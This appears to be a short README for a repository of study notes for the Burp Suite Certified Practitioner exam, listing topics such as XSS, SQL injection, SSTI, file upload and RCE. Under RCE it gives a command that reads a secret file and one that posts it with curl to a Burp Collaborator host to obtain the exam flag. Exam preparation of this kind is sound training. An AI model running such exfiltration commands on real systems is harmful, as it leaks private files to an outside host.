BSCP

The purpose of this repository is to prepare for the BSCP exam.

It is also recommended to review the contents of this repository: https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study

Detection on different vulnerabilities

• XSS & SSTI

XSS

• XSS

SQL Injection

• SQLI

SSTI

• SSTI

File Upload Exploit

• FileUpload

RCE

利用这个指令在 stage 3 获取最终flag

cat /home/carlos/secret

curl https://{Collaborator} -d @/home/carlos/secret

---

笔记 & Template

• NOTE
• TMP